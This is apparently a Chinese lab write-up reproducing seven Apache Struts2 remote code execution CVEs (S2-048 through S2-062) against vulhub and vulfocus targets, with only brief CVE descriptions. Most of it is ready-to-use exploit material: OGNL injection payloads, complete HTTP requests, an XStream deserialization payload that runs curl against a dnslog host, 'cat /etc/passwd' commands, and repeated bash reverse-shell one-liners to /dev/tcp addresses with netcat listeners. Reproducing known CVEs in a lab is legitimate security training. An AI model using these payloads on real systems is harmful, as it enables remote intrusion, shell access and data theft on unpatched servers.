内容:
Struts2-048(CVE-2017-9791)
Struts2-052(CVE-2017-9805)
Struts2-053(CVE-2017-12611)
Struts2-057(CVE-2018-11776)
Struts2-059(CVE-2019-0230)
Struts2-061(CVE-2020-17530)
Struts2-062(CVE-2021-31805)
没有原理只有漏洞复现
Struts2-059(CVE-2019-0230)
复现靶场vulhub/struts2:2.5.16
将EXP1进行url编码后传递给id(在发送EXP2前一定要先发送EXP1)
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
将EXP2url编码后传递给id,exec(”)内是要执行的代码
%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}
成功创建文件
尝试连接反弹shell
nc -lvnp 7777 建立监听
将反弹shell/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/7777 0>&1"
做一些转换避免传输时发生错误网站
进行url插入到EXP中进行url编码
发送
收到反弹shell
Struts2-061(CVE-2020-17530)
复现靶场vulhub/struts2:2.5.25
EXP
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
获取反弹shell
nc -lvnp 7777 //建立监听
对反弹shell/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/7777 0>&1"
进行转换避免传输时错误网站
成功收到反弹shell
Struts2-062(CVE-2021-31805)
复现靶场vulhub/struts2:2.5.25
EXP
POST /index.action HTTP/1.1
Host: 10.10.10.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1111
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
burpsuite发送成功到运行结果
获取反弹shell
nc -lvnp 7777 //建立监听
对反弹shell/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/7777 0>&1"
进行转换避免传输时错误网站
burpsuite发送
成功收到反谈shell
Struts2-057(CVE-2018-11776)
复现靶场是vulfocus的CVE-2018-11776
具体受影响版本为Struts 2.3.0至2.3.34和Struts 2.5.0至2.5.16
测试poc
http://ip/struts2-showcase/${(111+111)}/actionChain1.action
如果${(111+111)}中数值被计算就说明了可以被执行,可以可以发现发送后的poc被计算了,说明存在Struts2-057漏洞
跳转后发生了两个变化一个是${(111+111)}变成了222,一个是actionChain1.action变成的register2.action
接下来把poc替换成能够引导系统命令执行的代码就行就行
EXP:其中exec(‘ ‘)中的内容就是要执行的代码
/struts2-showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
不过在使用前要先进行url编码
命令成功执行
Struts2-053(CVE-2017-12611)
复现靶场是vulfocus的CVE-2017-12611
CVE-2017-12611是一个影响Apache Struts 2的远程代码执行漏洞。这个漏洞是由于Struts 2在使用Freemarker模板引擎时,同时允许解析OGNL表达式导致的。通常情况下,用户输入的数据本身不会被OGNL解析,但当Freemarker对输入数据进行解析后,数据变成了一个表达式,这个表达式随后会被OGNL再次解析,从而可能导致任意命令执行漏洞。
受影响的版本
Struts 2.0.1-struts 2.3.33
Struts 2.5-Struts 2.5.10
漏洞一般出现在与用户有交互且使用了Freemarker模板引擎的服务版本中
POC/EXP
将cmd部分换成要执行的命令就行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
成功执行
输入如下指令查找flag:
find / -name “flag*” 2>/dev/bull
Struts2-052(CVE-2017-9805)
复现靶场是vulfocus的CVE-2017-9805
CVE-2017-9805是一个被归类为严重的安全漏洞,它影响Apache Struts 2的REST插件。这个漏洞是由于在使用XStream组件进行XML数据包反序列化时,未对数据内容进行有效验证,从而可能允许远程攻击者执行任意代码
影响范围
Struts 2.1.2至Struts 2.3.33版本
Struts 2.5至Struts 2.5.12版本
访问到靶场页面
burpsuite抓包
再次刷新页面,将抓到的包改成POST发送,并且将Content-Type改成Content-Type: application/xml
注意该漏洞没有执行结果回显,但是又显著的页面500特征,下面也演示了利用dnslog验证漏洞
POC
command内是要执行的命令
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>curl</string>
<string>http://xlxnpo.dnslog.cn/</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
完整的请求
POST /orders HTTP/1.1
Host: 218.244.156.94:14866
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://218.244.156.94:14866/orders/new
Connection: close
Cookie: JSESSIONID=3EDFEF57D775E5AC03738398F2F8E78E
Upgrade-Insecure-Requests: 1
If-None-Match: 1297469393
Content-Type: application/xml
Content-Length: 1984
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder">
<command>
<string>curl</string>
<string>http://xlxnpo.dnslog.cn/</string>
</command>
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
这是poc执行后的页面
dnslog有反应
也可以尝试用vps监听反弹shell建立连接
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/ip/port 0>&1</string>
</command>
拿到flag
Struts2-048(CVE-2017-9791)
Struts2-048(CVE-2017-9791)是一个影响Apache Struts 2框架的安全漏洞。这个漏洞存在于Struts 2.3.x版本中,特别是当与Struts 1插件一起使用时。漏洞的根源在于Struts 2框架中的Action Message类,当Struts 2应用使用了Struts 1的插件,且在处理用户输入时,Action Message类中的getText方法可能会将输入错误地当作OGNL表达式执行。攻击者可以通过构建OGNL表达式利用该漏洞实现远程代码执行。
影响范围
Apache Struts 2.3.x系列
漏洞复现
漏洞复现的过程通常涉及访问特定的URL路径:/integration/saveGangster.action
,并构造特定的payload。这个payload会利用Struts 1插件中的漏洞,通过OGNL表达式执行远程代码。
访问/integration/saveGangster.action
测试
加入ognl表达式是否可以执行
回显
EXP:exec(”)内是可执行的代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
将输入内容替换成EXP成功执行命令
ls的时候出现报错,有无法解析的字符串
换条payload
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
获取到flag
试试能不能反弹shell
先在vps建立监听nc -lvnp 7777
执行反弹shell/bin/bash -c "bash -i >& /dev/tcp/218.244.156.94/7777 0>&1"
成功收到反弹shell
why大超霸
木木大超霸